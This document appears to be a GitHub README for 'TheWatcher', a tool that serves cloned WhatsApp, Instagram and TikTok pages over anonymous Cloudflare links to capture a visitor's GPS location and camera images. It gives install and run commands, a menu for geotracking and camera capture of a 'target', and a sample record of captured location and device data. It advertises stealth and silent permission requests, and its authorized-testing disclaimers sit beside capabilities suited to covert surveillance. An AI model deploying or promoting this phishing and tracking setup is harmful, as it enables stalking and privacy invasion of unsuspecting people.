TheWatcher is a professional-grade security awareness training framework designed for red team operations and authorized penetration testing. It demonstrates real-world social engineering techniques using hyper-realistic social media templates to educate security professionals about modern threats.
| Feature | Description |
|---|---|
| ๐ GPS Tracking | Real-time location capture with Google Maps integration |
| ๐ธ Camera Access | Silent camera capture with realistic UI |
| ๐ Cloudflare Tunnel | Instant public URL - no port forwarding needed |
| ๐ฑ Mobile Optimized | Perfect on iOS, Android, Desktop |
| ๐จ Real Templates | WhatsApp, Instagram, TikTok clones |
| ๐ Local Data | All data stored locally - no external servers |
๐ด THIS TOOL IS FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY ๐ดBy using TheWatcher, you agree to:
โ Use only on systems you OWN or have WRITTEN PERMISSION to test โ Use only for authorized security awareness training โ Comply with all local, state, and federal laws โ Obtain explicit consent before any testing โ Accept full responsibility for your actions
You will NEVER use this tool for:
โ Stalking or harassment โ Unauthorized surveillance โ Illegal activities โ Targeting individuals without consent โ Any malicious purposes
โ ๏ธ THE AUTHOR ASSUMES NO LIABILITY FOR MISUSE OF THIS TOOL โ ๏ธ
๐ (Linux/Kali/Ubuntu) Installation
# Clone repository
git clone https://github.com/EvilmaxSec/TheWatcher.git
cd TheWatcher
# Install PHP (required)
sudo apt install php -y
# Install Cloudflared (for public URLs)
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod +x cloudflared
sudo mv cloudflared /usr/local/bin/
# Install Python dependencies
pip install -r requirements.txt
# Run TheWatcher
python3 thewatcher.py๐ฑ Termux (Android) Installation
pkg update && pkg upgrade
pkg install php python wget
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64
chmod +x cloudflared-linux-arm64
mv cloudflared-linux-arm64 $PREFIX/bin/cloudflared
git clone https://github.com/EvilmaxSec/TheWatcher.git
cd TheWatcher
pip install -r requirements.txt
python3 thewatcher.py๐ฎ Usage Guide Main Menu
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ MAIN MENU โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ [1] ๐ Geotrack Target Location โ
โ [2] ๐ธ Capture Target Camera โ
โ [3] ๐ View Collected Data โ
โ [4] ๐ช Exit โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
๐ Location Tracking Module
Captures GPS coordinates and device information:
[1] WhatsApp Group Invite - Realistic group join interface
[2] Instagram Story - Full-screen story experience
[3] TikTok Video - Authentic TikTok player- Group/Username
- Verified badge
- Profile image (URL or local)
- Custom video (URL or local)
- Views, Likes, Comments, Shares
- Caption text
๐ธ Camera Access Module
Silently captures camera images with realistic UI:
[1] Instagram Reel - Professional Reels interface
[2] TikTok Video - Authentic TikTok player- Username & verified badge
- Profile image (URL or local)
- Custom video (URL or local)
- Likes, Comments, Shares
- Caption text
๐ Captured Data
All data is saved locally in the data/ directory:
data/
โโโ location_[timestamp].json # GPS + device info
โโโ camera_[timestamp].jpg # Captured images
โโโ server.log # PHP server logs
Sample Location Output
{
"timestamp": "2024-01-15 14:30:22",
"ip_address": "192.168.1.100",
"coordinates": {
"latitude": 40.7128,
"longitude": -74.0060,
"accuracy": 15.2,
"google_maps_url": "https://maps.google.com/?q=40.7128,-74.0060"
},
"device": {
"os": "Android",
"browser": "Chrome",
"device": "Mobile Phone"
},
"network": {
"country": "United States",
"city": "New York",
"isp": "Verizon"
}
}๐ง Requirements Requirement Version Purpose PHP 7.4+ Web server Python 3.8+ CLI interface Cloudflared Latest Tunnel service Requests 2.31.0 API calls Pillow 10.0.0 Image processing ๐ก๏ธ Security Best Practices
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ๐ RECOMMENDED SECURITY PRACTICES โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ 1. Always obtain written authorization โ
โ 2. Use dedicated testing environments โ
โ 3. Clear data after testing sessions โ
โ 4. Never share captured data publicly โ
โ 5. Follow responsible disclosure guidelines โ
โ 6. Respect privacy boundaries โ
โ 7. Document all testing activities โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ๐ Features Professional UI
๐จ Pixel-perfect social media clones
๐ฑ Fully responsive (mobile/desktop)
โก Fast loading with embedded media
๐ Auto-redirect to real sites
Advanced Capabilities
๐ GPS tracking with accuracy
๐ธ Silent camera capture
๐ Cloudflare tunnel integration
๐ SSL/TLS encryption
๐ Detailed intelligence reports
Stealth Features
๐ฅ No external dependencies
๐ฅ Zero configuration required
๐ฅ Anonymous Cloudflare links
๐ฅ Silent permission requests
๐ฅ Auto-cleanup on exit
๐ License
Educational Use Only - See LICENSE for details
Copyright (c) 2024 EvilmaxSec
This software is provided for educational and authorized security testing purposes only. The author assumes no liability for misuse or damage caused by this software.
If you find TheWatcher useful for security training:
โญ Star this repository ๐ Report issues ๐ Submit pull requests ๐ข Share with security community
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ "Security is not a product, it's a process." - Bruce Schneierโ
โ โ
โ Made with ๐ฅ by EvilmaxSec โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ




